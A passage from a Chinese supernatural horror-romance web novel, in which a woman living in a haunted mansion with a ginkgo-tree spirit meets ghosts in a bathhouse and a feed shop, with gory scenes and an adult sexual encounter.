“这么大的宅子,你自己掂量价钱吧。”银清不知道如今物价几何,没找回小庙少年分身前他连话都说不出来,每日浑浑噩噩,不知白天黑夜。
被睡了那会也不太清楚是怎么回事,只知道对方吻技高超,弄得自己欲/火/焚身。
想到这,银清目光复杂地回头看她一眼。
岑让川正在拍打黑屏的手机,企图让它重新启动。
一个千元机,被她扔进泥水,泡了这么久,早坏了。
听筒和扬声器都塞满泥水。
到现在还时不时能甩出水点。
她正叹气,忽然看到银清朝她看来,正当她以为对方要说些什么的时候,他又把头转过去。
岑让川:?
“我手机坏了。”她主动找他说话,“你知不知道这附近哪里有卖手机的?”
“卖黑色小方块?”他在镇子上生活了上千年,自然知道这的点点滴滴。
可他不太习惯现代生活发展。
偶尔出门,看到路上行人都抱着叫作“手机”的长方形搬砖,他着实不明白,这东西好玩在哪。
相比之下,那个挂在墙上的叫电视机的黑砖头还好玩些。
他想到这,抱着猫说:“能给我买电视吗?”
“……五百万还是你给我的,你就不能自己买吗?”
“五百万是你以前给我的赏赐,我卖了几根金条凑的。”他转过头看她,“换句话说你可能比较能理解。宅子是你的,钱是你的,我也是……”
顿了顿,他接着吐出两个字:“你的。”
岑让川拍手机的动作止住,略有点不太自然:“咳,那个晚上,不好意思。”
“不用不好意思。”他的声音有点冷淡,“你以前对我也做过同样的事。”
“……”岑让川噎了下,“以前是以前,现在是现在。我现在又不是前世的我,你要是不乐意可以反抗啊。而且……你又不是没爽到……”
银清已经抵达大门,跨过门槛时差点摔倒。
黑猫随着他的动作摔进门,一溜烟就消失在老宅中。
岑让川忙去扶他:“没事吧?”
银清幽幽看她:“你怎么能说出,那样的话!”
说完,耳尖已经泛红。
“都什么年代了,有什么不能说的?况且,那次我也不是故意的。谁知道你这么好闻,长得也不错,你又不反抗,那我肯定上……”
“你!”银清恼羞成怒,挥开她的手。
踏进古宅的瞬间,湮没在黑暗中。
既然已经知道他的真身,岑让川也不着急。
先睡一晚再说。
但……
站在主屋外。
里头黑漆漆的。
刚刚出去忘记买蜡烛。
岑让川想起主屋看到的吊死在房梁上的人,这脚是怎么样都迈不进去。
她走到古银杏树身边打转:“银清?你在吗?”
没人回答她。
岑让川清清嗓子:“咳,大家都这么熟了……虽然也没有太熟。但,咱们都要携手破除诅咒,你还没告诉我要怎么做呢。”
不管三七二十一,先把他骗出来再说。
果然,说到这个。
银清从树后绕出,整个人遮在阴影里,鬼气森森的。
他慢慢说道:“你要攒功德,还要找到我分裂出去的“我”。”
树下垂下的银丝千千万万,像人的白发。
仔细看去,竟是从树枝里长出来的。
岑让川盯了会,才反应过来他说的话:“不是,那我该怎么找到你的分身,又怎么攒功德啊?!”
树底下的人已经消失。
却隐约有声音从树上传下来:“明日再告诉你。”
刚刚被他抱进宅子的黑猫从黑暗中睁着两个像探照灯似的眼睛,身形矫健地爬上树,不过一会就找到了个平缓地趴下。
岑让川盯着二层小楼,里面没有光,黑漆漆的伸手不见五指。
再看周围,若不是有月光,她此刻就像进入了一个漆黑的小匣子。
四下寂静,只听到风吹过树叶的轻响。
还有风钻过残垣断壁缝隙时发出的呜咽声。
想起在小楼一层看到的上吊鬼,她咽了咽口水,挨在银杏树干上小声问:“银清,银清,你睡了吗?”
要不是手机坏了。
她绝对要问度娘:树在晚上会不会睡觉。
没人回答她。
岑让川胆子虽大,但她心里也发毛。
这破宅子好像有鬼。
她絮絮叨叨半天,银清都没出现。
“你不会真睡了吧?!”岑让川使劲拽了下从树上垂落的祈福牌。
“啪。”
断裂声响起。
眼角余光白影闪过,在地上断成条状物。
黑猫被惊醒,发出凄厉的“喵呜”声。
灰白色球体咕噜噜滚到脚底下。
岑让川背脊僵直,抓着树干的手发凉。
缓了好一会。
她才调整呼吸,缓缓低下头。
两个空荡荡的窟窿直直望着她。
是个骷髅头。
还是……
她学的专业立刻让她认出来,这是真正的人骨。
并非模型。
岑让川腿软地退后,一口气堵在嗓子眼里根本叫不出来。
忽然,那头骨和其他骨头发生了些变化。
它们微微亮起荧光,有筋脉血管内脏快速包裹其上,血肉生长,最终一层人皮覆盖在上面。
干瘪、枯瘦、渗液……
眨眼间。
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>骨架尸体消失。
出现的突然,消失的更突然。
岑让川捂着胸口,死死盯着那枚祈福牌,不敢眨眼。生怕它再次变成尸体。
在地上坐了会。
好不容易平复心跳。
她起身一脚把祈福牌踹远。
主屋小楼不敢进,其他地方不敢去。
她只能在树底下的石桌石凳上趴下。
夜深人静。
凉风掠过。
岑让川这几天受到的惊吓比一天加起来的都多,身心疲惫坐了一会便意识模糊,不知不觉睡过去。
睡到半夜。
浓雾从附近悄然笼罩。
银杏树上生长出的银丝线飘飘忽忽落到她身上。
宅子门外。
漆黑河水中飘来一艘纸船。
女子哭泣声从这艘纸扎的船上传来,凌晨时分,若有人路过会发现船上什么都没有。
片刻后,这艘纸船似有自己的意识般,在河面转了一个圈后停靠在河岸。
干燥的巨石上,突然出现几滴水。
湿哒哒的水从河边滴到桥面,直至在宅子门前,积蓄出一小片水池。
月光粼粼,小水池越积越大片。
蛀成空心的木门还躺在地上,没有收拾。
这条水迹没有大门阻挡,淋过门槛后径自往里蜿蜒而去。
滴滴嗒嗒——
滴滴嗒嗒——
滴滴——嗒嗒——
岑让川睡梦中感觉不太舒服。
窒息黏稠的湿意搭在身上,难受地像泡在水里。
头昏脑胀间。
她好像看到一个穿着中式嫁衣的女人站在自己面前。
“帮帮我……”
帮谁?她是谁?
“帮帮我……”
岑让川努力想要张开嘴,问女人是谁。
“帮帮我……”
她惊恐发现自己意识清醒着,身上却好似有万千重物压着。
身上每寸神经都瘫痪了般,只余脑子在运作。
岑让川恐惧地望着黑漆漆宅子里突然出现的红嫁衣女人,说不出一句话。
她清晰地感觉到胸膛里的心率跳到170以上,扑通扑通,震耳欲聋。
可困意如潮水涌来,她想就此睡过去,脑袋却头痛欲裂,逼迫她清醒。
女人见她不回答。
凤仙花染的渐变指甲朝她伸来。
有几根手指上面的指甲已经剥落,露出底下血淋淋的甲床。
月色朦胧,女人食指佩戴的白冰翡翠戒指微微起荧光,戒面还雕刻了一层水波纹。
“帮,帮、我……”
岑让川在看到那枚戒指时,瞳孔倏然紧缩。
是她!
是她!!
刘缔!!!
前老板的女儿,刘缔!
浓雾弥漫。
将刘缔身影逐渐隐去。
那抹红色像被水稀释,从画布上擦除。
岑让川惊慌地从梦中惊醒,心有余悸,冷汗沿着背脊没入衣物。
她望见脚边的水迹,更是吓得心脏怦怦跳。
“醒了?”对面一道声音响起。
她如惊弓之鸟,哆嗦了下。
“昨夜下雨了。”银清望着她说,“怎么不进小楼里睡?”
“昨天……”岑让川面如菜色,“有没有其他人来过?”
“没有。”他说,顿了顿,“但有其他东西来过。”
其他东西……
不就是……
5. 岑让川免费了
岑让川发烧了。
自己一瘸一拐去买了退烧药。
她入住凶宅的消息已经传得人尽皆知,今天来买药不就是……
药店老板默默瞅她一眼,见她脸色难看额间发黑,意味深长提醒:“小姑娘,保重身体啊。”
岑让川连礼貌都顾不得,精神恍惚地出了药店。
她步履蹒跚路过小摊,点了一份炒米粉,想到宅子里的银清……
银杏树……吃什么?
肥料?
她头疼地把这事撇到一边,自己都快被折磨死了还管那棵树做什么?!
“鸡蛋炒米粉来哩。”摊主阿姨迅速把炒好的米粉放到她面前。
见她才来三天就弄得浑身脏兮兮像个流浪汉不说,脸色奇差,不由问:“小姑娘,你这是遇着啥事了?”
“没事……”岑让川无精打采地掰开一次性筷子,“姨,这附近有没有洗澡的地方?”
“澡堂子真没有,你要不去这条街招待所看看,我记得二十块钱一次。”
“谢谢姨。”
摊主阿姨又看了她几眼,心想不是拿了一百万吗?
岑让川第一天来还说自己是驱鬼的,看来这法力不怎么样啊。
还是宅子里的鬼太厉害?
不论哪种,都说明那破宅子根本不适合人去居住。
岑让川心不在焉吃完这一顿,朝着招待所方向走。
她当然知道自己这次发烧是怎么回事。
就是吓的。
公共浴室热水淋下,驱散了体内的寒气。
她挤出小样洗发水,涂抹在头发上,搓出泡沫。
闭上眼没多久,她感觉背后似乎有什么东西在注视自己。
岑让川抹去脸上的泡沫,慢慢回头看去。
只看到破旧的木门。
这间招待所历史久远,浴室都是封闭的。
加上小镇地处偏僻,现在人们生活并没这么困难,洗个澡的条件还是有的,基本不会有人来招待所。
现在这家招待所归政府管着,给那些生活困苦的人准备。
见没人,她转过头去继续洗。
可不知怎的,这水越来越凉,还越来越黏稠。
隐隐约约,她似乎还听到婴儿的哭泣声。
空气里,一股浓重的腐臭味飘来……
岑让川蓦地睁眼。
淋在她身上的水不再是水,而是血!
鲜红的血淋在她身上。
黏稠温热,像是头顶有活物放血直接淋在她身上。
她的双腿之间,还有一个苍白到没有血色的婴儿,眼白全黑,阴测测地盯着她。
“啊!”
尖叫声响彻浴室。
她惊惧地后退,不期然地扫到头顶有道黑影一闪而过。
距离不足三十厘米处,婴儿翻过身四肢爬行,它脑袋扭转到背后,死死看着她。
门把手拧不动。
岑让川疯狂捶门大叫:“有人吗!有人吗!开门!”
她最怕这种密闭空间,上天无路入地无门。
像被关在牢笼任人宰割。
门外也有声音传来,但她惊慌下根本听不清对方在说什么。
肾上腺素在这一刻飙升。
岑让川拿起门边的棍子狠狠捶击门把手。
把手磨破也不在乎。
恐惧到极致就是愤怒。
能反杀一切的愤怒。
门把手被她用棍子砸烂,木门终于松动。
开门的一瞬,屋外空气涌入。
银清瞪大双眼望着她。
浴室大门没有关,他连忙紧走两步把人挡回浴室。
“让我出去!让我出去!”岑让川抄着棍子推他。
银清一脚把浴室门踢关上,用力抵住,低声说:“你没穿衣服。”
“我不管我要出去!”岑让川恐惧之下,力气大得连银清都快制不住。
“先生,需要帮忙吗?”外面有女声响起。
“不需要,你们走吧。我……”银清抱住岑让川,纠结一瞬,这才接着说,“我妻子可能是被吓到了,等会就出去。”
“好的,有什么需要您随时叫我们。刚刚那个男人已经被我们同事控制,等会需要你们去做个笔录。”
“好的,谢谢。”银清礼貌回答。
可他压根不知道做笔录是什么意思。
门外除去女声,还有混乱的响动。
其中夹杂男人的嚷叫。
岑让川颤抖着深呼吸,想要让自己冷静。
可刚刚那一幕冲击力实在太强。
一个刚出生不久的婴儿就在自己脚下……
她已经很努力压制不大吼大叫。
未料门外女人没有离开。
她犹豫半晌,还是透露了些话:“先生,可以的话,请您尽快带您的妻子出来吧,这个地方曾经有女高中生丢弃婴孩,之前来洗澡的人……”
女人没有再往下说。
银清捂住岑让川的嘴,脚下生出藤条把人捆住。
他冷淡地应道:“嗯,知道了。”
听到他回应,女人才踩着运动鞋离开。
岑让川不断挣扎。
背后淋浴头浇下的热水也驱不散她满身寒意。
自从踏进宅子,她见鬼的次数越来越多。
起初还可以骗自己是幻觉。
现在听到女人的话,哪还敢真当作没事发生。
自古人为财死,鸟为食亡。
岑让川现在恨不得现在就搬出宅子。
至于违约金,虱多不怕痒,无所谓了!
她就怕有命挣没命花。
银清不知道她的想法,伸手接了些热水喂进自己嘴里。
他放开岑让川,嘴里长出了颗白果。
洗澡水不仅浇湿岑让川,更浇湿了他。
湿漉漉的长发贴在他身上,蜿蜒如蛇。
湿漉漉的睫上全是小水珠,装点地那双湿漉黑眸愈发幽深。
他半含白果,眉眼间似有欲色。
配上那张清冷淡欲的脸当真有着极致反差。
“吃下。”银清含糊说道,微微敛眸似在暗示什么。
岑让川还没明白是怎么回事,就见他解开盘扣,抬起挂满水珠的琥珀色眼眸,直勾勾地望着她。
千年以前的她与现在的她没有区别。
哪怕轮回多次,她的存在依旧能激起他的欲。
岑让川秒懂,但她实在不想在这破地方和他搞上。
银清看出她的拒绝,覆身上前,双手绕后,放在她的后颈和腰上,故意在她耳边发出低低喘息声。
“帮帮我。”他嗓音哑得不行,明显是忍着,“帮帮我,我以后任你差使?嗯?”
“行,写个合同?”岑让川现在发烧导致头疼,压根没被他迷惑。
自己又不是免费的那啥,还帮他。
活好也不是这么用的。
“先帮我,出去再补。”银清
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从她颈窝处抬起脸,眼尾处已是一片潮红。
再憋下去这棵树会不会枯萎?
“用手。”她还以为要清心寡欲三年,道具什么的根本没带。
“嗯。”他轻声应道。
岑让川张嘴叼住他口中的白果,嚼了两下,还真是银杏果。
她不由想自己这算吃了人家孩子吗?
甜味过后有些微苦涩。
果子药效很快,几乎是立竿见影,安抚下她受惊过度的情绪。
见她吃完果子,银清再也按耐不住,深深吻住她的唇。
边吻边把她手里的木棍拿过用来抵门。
岑让川认命,想着以后合同得仔细看清楚有没有隐藏条款。
比如陪金主睡觉。
银清把她的手放在自己盘扣上,明晃晃地提示她接下来该做什么。
蚕丝做的衣服贴在他身上,也不知道怎么做的。
成了半透明的。
岑让川嘴上应付他的纠缠,手下动作还得快。
可他穿的衣服盘扣沾水后也太难解开了!
滑溜溜的,跟抹了一层油似的。
“快点啊……”银清双手撑在她背后墙上,喘息声粗重。
“快不了。”她再次手滑。
银清旷了几千年,前三日好不容易开荤一次,现在都要忍伤了。
他抓住她的手,从自己衣服下摆送进去。
“前几日那样子弄我,怎么样都可以。”
他几千年来只有她碰过,历史虽久远,但跟雏没区别。
他想她的时候只能分裂出去一部分自己。
不然这千年寂寞会把他熬疯。
岑让川只知道他可能是上辈子自己的情人,兼职谋事的那种。
但没想到的是,他长了一张书卷气的中式清冷脸,私底下居然玩这么大?
“你究竟在想什么?前几天不是还要我吗?”他有点生气她动作磨蹭。
行。
被人当免费的了。
岑让川秉着接受桃色任务的心情,心理负担“啪叽”一下干脆扔远。
“背过去。”既然他想,自己就赶紧速战速决。
“不要。我喜欢正面。”
背过去,他吻不到她。
“……我动作快点,等会不许忍。”
她快淋发了,想赶紧出去。
他不再回话,吻她吻得毫无章法。
岑让川抱着他清瘦腰身稍稍抬起。
淅淅沥沥的热水淌下,很快在手心淌出一小片湖。
光滑细腻的触感似在触碰一匹绸缎。
他倏然掐住她的肩膀,及时给予信息。
升腾起的烟雾带着窒息的湿度。
树枝颤动。
她就像要采银杏果的熟练工种,挎着篮子挂在树上,每采下一颗白果,树叶就随着树枝震动沙沙作响。
有些果子在下方,她不得不攀着其余树枝往下探去,任凭枝桠拦着自己,她也要采完那些熟透的果子。
好不容易摘完一簇,已是满头大汗。
银清咬着她的衣领,眼角沁出一点雨露。
大雨把银杏浇湿,雷声轰鸣下他用力抱着她,意识不清地胡乱吻她耳廓:“帝君,帝君……”
如伞盖般的树叶被打湿,无数雨水从树叶缝隙间洒落,淋湿脚下土地。
岑让川头疼地抱住他,赠送事后安抚套餐。
她的退烧药……
还没吃呢……
6. 养猫的不是你吗?
从浴室出来的两人。
女的好好的。
男的却一副站不稳的样子。
工作人员奇怪地看她们,仍是好心送上干燥的衣服。
“有没有葡糖糖?”岑让川问。
“有。”工作人员从柜台底下翻出药箱,递上一个安瓿瓶和小砂轮。
岑让川打开后去饮水机旁用葡萄糖兑出两杯水。
银清神智还未回拢,坐到一边闭目养神。
这个招待所还保留着八十年代风格。
小小的休息室,只有两条长排的不锈钢座椅,还有饮水机。
发霉的墙壁上墙皮剥落,灯光昏暗。
有个绿色电子钟挂在墙上,已经停止运作,时间停在九点十五分。
秒针一颤一颤,看样子是刚没电多久。
岑让川拿着两杯水走过去,递给他一杯。
银清安静地喝完,他没有味觉,喝不出这水有什么不一样。
“你爽完了,我去买手机。”岑让川也喝完,起身要走。
银清却问:“你是不是要离开?”
“……没有。”
她想把一百万取出来跑路,他是怎么知道的?!
违约金岑让川是赔不起了,但她烂命一条就是干。
反正她没钱,爱咋咋。
“只要你还生活在这片地上,你不会有办法离开。”银清摘下发上的小金筒,让半干不湿的头发垂落。
他用一双琥珀色的眸子望着她,眼里还有未被满足的欲色。
那点欲色恍若秋水叠光,照进岑让川眼中。
岑让川:不是大胸弟,刚刚都爽成那样了你还欲求不满?
长得挺清冷矜贵,私底下还挺放/荡?
“你凭什么认为我不会有办法?”
“因为……”他缓缓站起,扶着墙略略有点虚浮的脚步朝她走来。
明明是事后纵欲的轻飘样子,却格外有压迫感。
一步又一步。
脚下似传来点类似脉搏的震荡。
岑让川本能后退。
头顶昏暗的灯泡闪了两闪,倏然熄灭。
墙上的钟滴溜溜乱转,发出急促的滴答声。
外边不知道怎么,突然阴云密布。
招待所里的工作人员喊着可能会下雨,脚步匆匆地上楼收被子。
银清那双琥珀色的眼眸逐渐发亮,虹膜泛起金黄色的光芒,如被照射的金丝楠木,流光溢彩。
周围一切暗下。
他抓住她的手,与她十指相扣。
黑暗把他们吞没,漆黑的环境下她只看到面前的人发出淡淡暖光。
他们脚下,丝丝缕缕,虬结交错,不断往远处一棵银杏树输送养分。
以宅子内的银杏树为中心,光芒颜色渐变,离得越远越是莹绿。
植物根系如一张大网,深深扎入土壤,盘根错节,将视野所见范围内笼罩。或是粗壮或是细弱,都与银杏树根有所关联……
她站在这张巨大的网上,不论走到哪,都像走在银清的筋脉上。
他随时都知道自己身在何处……
她正沉浸在这片天地中,手上忽而一抖。
脚下发出荧光的根系与黑暗迅速褪去。
灯泡重新亮起,时钟却指向十点。
屋外大雨倾盆,雷电交加。
银清像被雷击中的树,直直朝她倒来。
岑让川吓了一跳,赶忙抱住他:“你怎么了?我警告你别碰瓷啊!是你说要激烈点的。”
“不关那个的事!”银清腿几乎要站不稳。
他声音隐约能听出是在咬牙。
“那关什么事?”她搂住他的腰把人重新放回座椅。
银清盯她:“风吹树摇,你没见过吗?”
“……”
忘了他本体还在宅子接受风雨交加的考验。
现在得知自己如果想要逃离他的掌控,要么就去外太空,要么搬离地球,去往一个没有植物的星球生活,不然没有第三个选择。
她要是有本事就脚不沾地,浮在半空。
但这不是她一个人类能做到的事。
“你在这等雨停吧,我出去买手机,今晚不回来睡了。”
毛线合同,兜兜转转最终给钱的是银清。
他还说那原本是自己的钱。
那样岑让川更没有心理负担了。
这钱算是前世的自己给自己的,那就是自己的!
银清拽住她:“你还要走?”
“找个旅馆睡,宅子里不干净。你再不让我睡个好觉。”岑让川低头让银清碰自己额头,“我就要死了。”
“不干净?”银清知道宅子如今不适合居住,但他出来前已经打扫过了,“主屋小楼已经清理干净,其他还需要点时间。”
他现下分身在外,此刻的他没有嗅觉、味觉、视觉也偶尔被剥夺,用不了任何法术,能清理出小楼已经是尽他最大能力。
她总不能苛责让他一天之内让宅子恢复从前?
银清现在探不到她额头的温度,只以为她是因为环境不好导致头疼。
“我说的不干净。”岑让川知道他完全误会了自己的意思,看了看周围,这才压低声音说:“宅子里除了你、我,噢,现在还多了一只猫。咱们三之外还有其他东西!”
银清懂了:“孤魂野鬼?”
“宅子里果然有!”
她就说怎么总看到奇奇怪怪的东西!
“可是,你以前去过地府,不怕这些鬼魂……”
“以前是以前,现在是现在!中间隔了多少时间?我又轮回了多少次?你确定我是她吗?!”她要被气吐血。
玩替身是吧?她倒是不亏。
但不能把她扔到全是鬼的凶宅吧?
“你就是她。”银清笃定,“你如果不是她,不会到我所在的地方。”
“那按你这个说法,贼进宅子了也是你的那个她。”
“你梦到过我。”他拉住她的手放在自己胸口,“你一定梦到过我。梦到过你杀了我。两刀,胸口一刀,我求你听我解释。你不肯,又给了我一剑,在脖子……”
岑让川:坏了,真让他逮着自己了。
她脸色不自然:“你,你真正的目的,不会要复仇……?”
银清愣了愣,轻笑出声。
岑让川心中发毛,默默咽口水。
“我不会杀你的。”他起身,慢慢抱住她,“我怎么舍得啊。”
他这病娇娇的语气让岑让川头皮发麻。
“我等了你这么多年,等得快疯了。”他埋进她的颈窝,“不过,一切都无所谓了……”
岑让川额头开始泌出冷汗。
救命,这怎么这么像电视剧里反派即将杀/人的话……
“年深日久,爱意消减。你亲手
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杀了我,不曾想过我,我比不得任何东西,在你心里的位置也不过是一粒灰。你身边谋士众多,又杀过那么多人,又怎么会记得我……”
“哥们,我替我前世说声对不起。”岑让川腿软,没骨气道,“别杀我,求你了。我这辈子穷困潦倒也算报应,你要真看我不顺眼我带着一百万走还不行吗?宅子里我前世留下的玩意不要了行吗……”
“又是这样……”银清松开她,用手掌抚上她的脸,平静的眼眸望着她,“你啊,总是能舍下任何东西。我要是有你一半狠心,哪会变成现在这样。人不人,鬼不鬼……”
说到最后,一丝杀意划过他的眼,只是一瞬,被澎湃汹涌的苦涩盖过。
他死心了,却依旧不忍心。
岑让川不知道他怎么想,更没接触过这种非人的玩意,吓得脸色惨白。
银清不再吓她,放缓语气:“你不用害怕我。毕竟未来几年你都需要我攒功德,而我更需要你,找回我在外的自己。我们必须绑在一起。不然我永远困在宅子里,你也别想活着。”
“嘴上说有什么用,你没有,契约之类的东西吗?”她也是异想天开,居然指望对方有什么合同一类的东西制约二人。
果然,他说:“没有,你让我开心,我会配合你。”
“……你刚刚,还说完事后补个合同。”
“嗯?什么?我怎么不记得了?”银清凝视她,脸上没有丝毫愧疚。
“行,那下次你别想让我给你解决了。”
第一次当免费工具人,岑让川心中升起小火苗。
初次见面还能说是她鬼迷心窍,他们两厢情愿。
第二次是他半是引诱半是逼迫自己为他解决欲望。
行吧,看他意乱情迷她是有点成就感。
但在那个破浴室,又是血又是婴儿她压根没全身心投入。
“这是你欠我的。”
“那你也别想!”
他们一人一把伞出了招待所,两个人都是冷着脸。
雨还下着,从大雨转为小雨。
小镇靠山,山中起雾,抬头看去白茫茫一片。
不少老人坐在屋檐下聚在一处做着手工活,要么就是下棋打牌。
一派悠闲。
两侧铺着鹅卵石,中间青石板有几块带着裂痕,带着旧时光的痕迹。
绕过带着浓重中式江南风格的街,来到另一处拥有民国时期建筑风格的长巷。店门前摆放着光秃秃的花盆,上边睡着小猫。
听到生人过来,它们也不睁眼,懒懒地晃尾巴驱赶苍蝇。
看到它们,岑让川不由自主回头去看跟了自己一路却装作同路的银清。
家里还有只黑猫呢。
他想要养猫,但好像没想过要买猫粮?
猫砂倒是省了,宅子里那片荒废的花园随便用爪子挠出坑就可以拉。
她这么想着,踏进数码店买了个两千来块的手机。
旧手机进水开不了机,又多花两百来块数据传输后插入sim卡。
开机后信息栏蹦个不停。
岑让川没心思去看,把旧手机回收出了店门。
她转过头,没好气地跟站在离数码店不远不近的银清喊道:“喂!你不是养猫吗?猫粮店在哪?”
装作看雨景的银清也不说话,撑开伞从她面前走过。
姿态闲适优雅。
岑让川莫名牙痒。
7. 散装猫粮,散装老板
镇上养猫的不多,只有散装猫粮。
阴暗的小店没有开灯,天花板上长满霉菌,角落处还有蜘蛛网,匍匐着棕黑色的影子,挂满飞虫尸体。绿色脱漆风扇挂满结块的灰尘,发出“嘎吱嘎吱”的声音,摇摇摆摆又风速极快,也不知道下一秒会不会掉下来切断脖子。
苍蝇嗡嗡飞舞,随意进出都能惊飞一大片。
在一大堆敞开的饲料袋中,猫粮放在两旁货架上。与猫粮堆放在一起的还有没见过但价格低廉的各种猫零食。上面的塑料包装已经落灰,连生产日期……
居然没有生产日期?
岑让川瞥一眼在藤椅上张嘴睡觉的老板,他肚子上正盖着蒲扇。那些苍蝇在他身上爬行他也没有察觉,嘴角流出的口水沿着下巴淌下,沾湿衣襟。
那些苍蝇会不会进他嘴里?
正想着,一道透明的影子在她脚边走过,毛茸茸的。
她低头看去,什么也没有。
岑让川这才注意到,明明是闷热潮湿的雨天,这个地方却是阴凉阴凉的。
堆积的饲料谷粮散发出一股腥气,她听到有什么动物在咀嚼的响动,又不像是正常的嚼食声。
她四处去看,循着声音蹲下。
一只透明的三花猫骤然闯入眼中。
它以一种反重力的姿势扣在椅背上,用尖牙咬穿老板背部,正在噬咬他的脊椎。在它臀部,还挂着一坨包在胎盘里的小猫,脐带将它们相连。大猫在吃他的脊椎,小猫在吸吮他的血液。
岑让川毛骨悚然,鼻尖闻到浓烈腐臭味,熏地她想吐。
她不自觉后退,背撞到货架上。
老旧的货架发出尖利的刺耳声响,灰尘如雨淋落,盖了她一头。
灰尘吸入鼻腔,惹得喉管剧烈发痒,她捂住口鼻咳出声。
两只猫同时停止啃食老板的动作朝她望来,
正当岑让川以为它们距离攻击自己时,它们慢慢隐去,直至消失。
老板从梦中惊醒,下意识攥紧蒲扇。
他听到动静看过来,正巧看到被灰尘迷了眼的岑让川。
“你要干啥?!”老板吓得挺起身。
这一动,他才发现自己的背疼痛难忍,“哎哟,嘶,我的背好痛!”
在外等候已久的银清走进来,收起湿淋淋的雨伞。
伞尖淌下的水迹在脏兮兮的地面蜿蜒出不规则的深色痕迹。
“还没挑好吗?”他语气平和地问。
“没有我要的牌子。”岑让川呛得又咳了两声,“老板,你这灰尘太大了吧?”
得知她是客人,老板这才收起防备心。
他龇牙咧嘴地扶着腰,她却注意到他沾满脏污的手指反手摸上刚刚被猫啃得血迹斑斑的地方。
那个血窟窿已然不见。
白背心下也看不出任何异常。
“你要啥牌子啊?”因为背部疼痛,老板态度格外不耐烦,“我这的粮猫猫狗狗都能吃,吃不死,你偶尔喂点剩菜剩饭就可以活了。畜牲生命力顽强,怎么折腾都死不了。”
银清盯着他背后,冷不丁说道:“你曾经养过猫。”
没等老板说话,银清微微皱眉,否定自己刚才的说法:“不对,你没有养过,是流浪猫。黑、橘、白,三花,还有一只小……”
他没说完,老板面上血色迅速褪去,继而恼怒道:“你们还买不买!”
没生产日期,苍蝇遍天,从未听说过的杂牌,在啃食人类的猫……
“不买!”岑让川果断拒绝,她站起身,拉住银清手腕想把人拖走。
银清却跟一尊肖像般一动不动:“虐杀生灵之罪,永坠无间地狱。”
“你谁啊!是镇子上的人吗?跟个神经病似的在我这说什么。”老板额头上已是密布冷汗,强撑着朝银清吼:“不买赶紧走!”
岑让川使劲拽他:“走啊!”
“你若还有一丝悔意,去老宅找我们。原程府老宅。”银清语气依旧平静,他抬头指向老板背后,“它们会缠着你。其实你找不找我作用不大,我也养猫……”
“滚!”老板几乎是暴怒,就差把蒲扇丢他脸上。
岑让川为避免被银清连累,丢下他想自己走。
银清这时候却想走了,反手握住她的腕,慢慢吞吞出了店门。
岑让川没忍住回过头去。
昏暗的饲料店。
苍蝇纷飞,组成一张破破烂烂的黑色渔网,盖在那些敞开的蛇皮袋上。
浓烈的饲料味混着腐臭血腥弥漫而出。
穿着白背心的老板捂着背,面容模糊,哪怕看不清他的眼睛,岑让川也能感觉到,他在盯着他们。
可是……
为什么会看不清楚他的面容?
空气与光线畸变。
映照进她眼中。
瞳孔骤然紧缩。
躺椅上、货架上、饲料袋上站满泛绿的小身影。
它们或是剜去双眼开膛破肚,或是手足砍断躯体残缺。
安静的店内。
骤然充斥喧闹的惨叫。
岑让川望着它们,双腿一软差点跪下。
银清用力扶起她。
似乎是知道她看见了,距离店门最外边的大猫喵喵叫着扒拉其中一袋写着非卖品饲料袋里的东西,没有眼珠的黑洞洞眼睛望着她。
岑让川推开银清,猛地伸手插/入饲料袋。
“你在干什么!砸场子的是吧!”老板气得随手抓起一根棍子冲来。
她的手掌穿过紧密的颗粒,滑腻的粉末,指尖触碰到一点毛绒。
在棍子扬起的那刻,她拽住一根东西,用力拔出。
嘈杂声骤然安静。
老板扶着腰,以一种诡异扭曲的形态站立。
他撑着棍子,身上像坠满沉甸甸的东西,要跪不跪,脸色由白转青。
岑让川手里抓着一具尸体。
猫的尸体。
黑白毛色上沾满饲料粉尘。
口鼻处全是血,头骨碎裂。
一只眼球掉出,四肢尾巴皆被砍断,背脊折断,白胖的蛆虫在它伤口处不停蠕动,大快朵颐。
随着她的动作,站在毛发上的饲料与蛆虫一齐掉进编织袋。
尸臭扑鼻。
岑让川在看清自己抓的是什么后脑袋一片空白。
“报应真快。”
沉静的语调随风飘到二人耳中。
话音刚落。
棍子擦着岑让川耳边飞往屋檐外的雨中。
“咕咵啦———咕噜噜——”
长棍落到地上,溅起一长片水花。
没了拄拐棍,老板身上不正常地涌出大片汗液。
他一手撑在货架上,另外一只手撑在放满饲料由塑料凳撑起的木板上。
几只蛆虫在手上钻过汗毛,漫无目的地蠕动。
岑让川回过神来,立时丢下猫的尸体,惊惧地往后坐。
“救我……”老板面目狰狞,额头青筋暴起。
她这才抬起头望去。
在老板身上早已堆积出一座绿色猫山。
它们
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压在他的背上,啃咬他身上每寸皮肤。
“救我……”他唇上最后一丝血色消失,眼球布满红血丝。
岑让川哆嗦着手想拿出手机。
站在一旁的银清没来由地拉住她,轻声说:“你手机坏了。”
“可我……”
手机刚买的怎么会坏?!
银清用目光示意她去看自己手臂。
她感受到胳膊上蠕动爬行的大幅动作,似乎还有点疼。
她低头看,不知何时出现了一只硕大的蟑螂,它抬起触须与她对视。
岑让川尖叫出声,手机径直甩飞,在半空中划出一道优美的弧度。
蟑螂起飞,眼见要朝她嘴里冲去,银清一巴掌把它拍进雨幕。
手机咕噜噜在青石板上打转,喷出黑烟。
再次报废。
“你!”岑让川来不及说出第二个字。
老板蓦地跪地。
货架轰然倒塌,木板断裂。
饲料与杂物倒下,砸在他脊骨上。
“啊——”
他发出痛苦哀嚎。
那座幽绿猫山淡去,空洞洞的眼眸盯着他,渐渐消失。
就在岑让川以为这一瞬间就此结束,想去帮他时,忽而听到奇怪的机械声。
“嘎吱嘎吱……”
“嘎吱——”
她抬头去看。
悬挂在天花板脱漆的风扇倏然坠落。
“小心。”银清声音在这一刻微微变调。
他们极速往后褪去。
飞旋的饲料如弹药般打来,砸得人根本睁不开眼。
粉尘扬起大片浓雾,怪味弥漫。
巨大的声响砸得附近几家人都探出头来。
哪怕现在还在下着雨,依然有看热闹不嫌事大的人撑伞过来看情况。
岑让川趴在银清胸前,听不到他的心跳。
她只听到自己胸膛里剧烈的鼓声。
左手手表屏幕亮起,显示心率已达175。
细微声响从不远处传来,她清晰听到另一种奇怪的声音。
像即将窒息的鱼在地上拍打鱼尾。
像破旧的管道被秽物堵塞,水沿着缝隙流过又堵在下一个出口。
像碎瓷片刮在黑板,尖利刺耳。
黄色浓雾慢慢散去,在地上沉淀出难看斑驳的棕黄。
雨声中有人发出凄厉的尖叫。
“死人啦!死人啦!”
这一声如拉响的警报。
